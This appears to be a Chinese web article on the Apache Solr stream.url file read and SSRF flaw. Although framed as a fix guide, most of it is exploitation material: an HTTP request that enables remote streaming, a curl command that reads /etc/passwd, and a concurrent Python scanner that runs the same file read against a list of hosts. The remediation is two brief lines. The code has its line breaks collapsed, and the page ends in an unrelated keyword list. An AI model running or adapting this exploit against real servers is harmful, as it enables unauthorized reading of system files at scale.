Apache-Solr任意文件读取漏洞怎么修复
发表于:2025-01-22 作者:千家信息网编辑
千家信息网最后更新 2025年01月22日,这篇文章主要讲解了"Apache-Solr任意文件读取漏洞怎么修复",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"Apache-Solr任意文件读取漏洞
千家信息网最后更新 2025年01月22日Apache-Solr任意文件读取漏洞怎么修复
这篇文章主要讲解了"Apache-Solr任意文件读取漏洞怎么修复",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"Apache-Solr任意文件读取漏洞怎么修复"吧!
漏洞描述
Apache Solr是一个开源的搜索服务,使用Java语言开发。Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。
漏洞评级
Apache Solr stream.url SSRF与任意文件读取漏洞 中危
影响版本
Apache Solr 所有版本
安全版本
官方不予修复,暂无安全版本。
复现过程
环境搭建
docker search solrdocker pull solrdocker run -d -p 8983:8983 solrdocker exec -it 实例id /bin/bashcp -r server/solr/configsets/_default/conf /var/solr/data/test1
参考:http://www.bubuko.com/infodetail-3118740.html
漏洞复现
首先获取core
以my_core测试为例,
POST /solr/my_core/config HTTP/1.1Host: x.x.x.x:8983Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 84{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
读取文件
curl "http://ip:8983/solr/my_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
EXP:
#!/usr/bin/python# coding: UTF-8import argparseimport asyncioimport jsonimport pathlibfrom typing import Tuplefrom urllib.parse import urlparseimport httpxclass URLAction(argparse.Action):def __call__(self, parser, namespace, values, option_string=None):if not urlparse(values):raise ValueError("Not a valid url!")setattr(namespace, self.dest, values)class FILEAction(argparse.Action):def __call__(self, parser, namespace, values, option_string=None):if not pathlib.Path(values).exists():raise ValueError("File not exists!")setattr(namespace, self.dest, values)parser = argparse.ArgumentParser(description="Solr Poc")parser.add_argument("--host", type=str, action=URLAction, help="target host uri")parser.add_argument("--file", type=str, action=FILEAction, help="target host file")parser.add_argument("--conn", type=int, default=10, help="asyncio max connetions")args = parser.parse_args()SEM = asyncio.Semaphore(args.conn)RESULT = {}async def check(host: str) -> Tuple[str, bool]:status = Falseasync with SEM:async with httpx.AsyncClient(base_url=host) as client:try:core_data = (await client.get("/solr/admin/cores?indexInfo=false&wt=json", timeout=3)).json()except httpx.ReadTimeout:print(f"{host} TimeOut!")status = "TimeOut"else:if (data_status := core_data["status"]) :core = list(data_status.keys())[0]await client.post(f"/solr/{core}/config",json={"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": "true"}},)result_data = (await client.post(url=f"/solr/{core}/debug/dump?param=ContentStreams",data={"stream.url": "file:///etc/passwd"},)).json()if (streams := result_data["streams"]) :print(streams[0]["stream"])status = Truefinally:RESULT[host] = statusreturn host, statusasync def loop(urls):await asyncio.gather(*list(map(check, urls)))def main():result_file = pathlib.Path("solr_main.json")try:urls = set()if args.host:urls.add(args.host)if args.file:with pathlib.Path(args.file).open("r") as file:urls = urls.union({url for line in file if urlparse((url := line.strip()))})print(f"tasks: {len(urls)}")asyncio.run(loop(urls))except KeyboardInterrupt:passfinally:with result_file.open("w") as file:file.write(json.dumps(RESULT, indent=4, ensure_ascii=True))
修复建议
1. 增加身份验证/授权
2. 禁止Solr API 以及管理 UI 直接对公网开放。设置防火墙,以便只允许受信任的计算机和人员访问。
感谢各位的阅读,以上就是"Apache-Solr任意文件读取漏洞怎么修复"的内容了,经过本文的学习后,相信大家对Apache-Solr任意文件读取漏洞怎么修复这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!
漏洞
文件
版本
学习
安全
内容
情况
验证
人员
功能
官方
实例
就是
建议
思路
攻击者
文章
更多
环境
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
面向对象数据库系统的基本特征
密码被锁住怎么用数据库解开
服务器一键恢复是什么意思
学软件开发类累吗
网络安全教育主题班会图文
幸福工厂服务器管理是什么
五华区智能化软件开发价格走势
高德科技互联网
北京上门网络技术价格
黄山安卓软件开发定制公司
阿里云服务器桌面工具
动态拼接数据库配置
那个软件开发行业比较赚钱
北京定做服务器机箱厂家
程序员外包服务器
网络安全专业所学课程
河北移动城管软件开发系统
羊毛网络安全吗
数据库事务的原子性怎么理解
vpn加速服务器
税务系统网络安全应急处置
代理服务器韩国
网络安全法的相关法律法规
5000速达数据库设置
龙岗大数据服务器机箱定制
数据库开发工程师的就业前景
计算机管理网络安全策略
绍兴公司网络安全准入控制系统
网络安全专项清理整治标语
csgo官皮连接服务器失败